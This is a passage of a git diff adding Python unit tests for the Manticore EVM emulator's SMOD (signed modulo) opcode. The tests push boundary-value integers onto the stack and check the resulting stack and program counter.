+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSMOD.py b/tests/EVM/test_EVMSMOD.py
new file mode 100644
index 0000000..8d4ab53
--- /dev/null
+++ b/tests/EVM/test_EVMSMOD.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SMOD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SMOD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SMOD_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
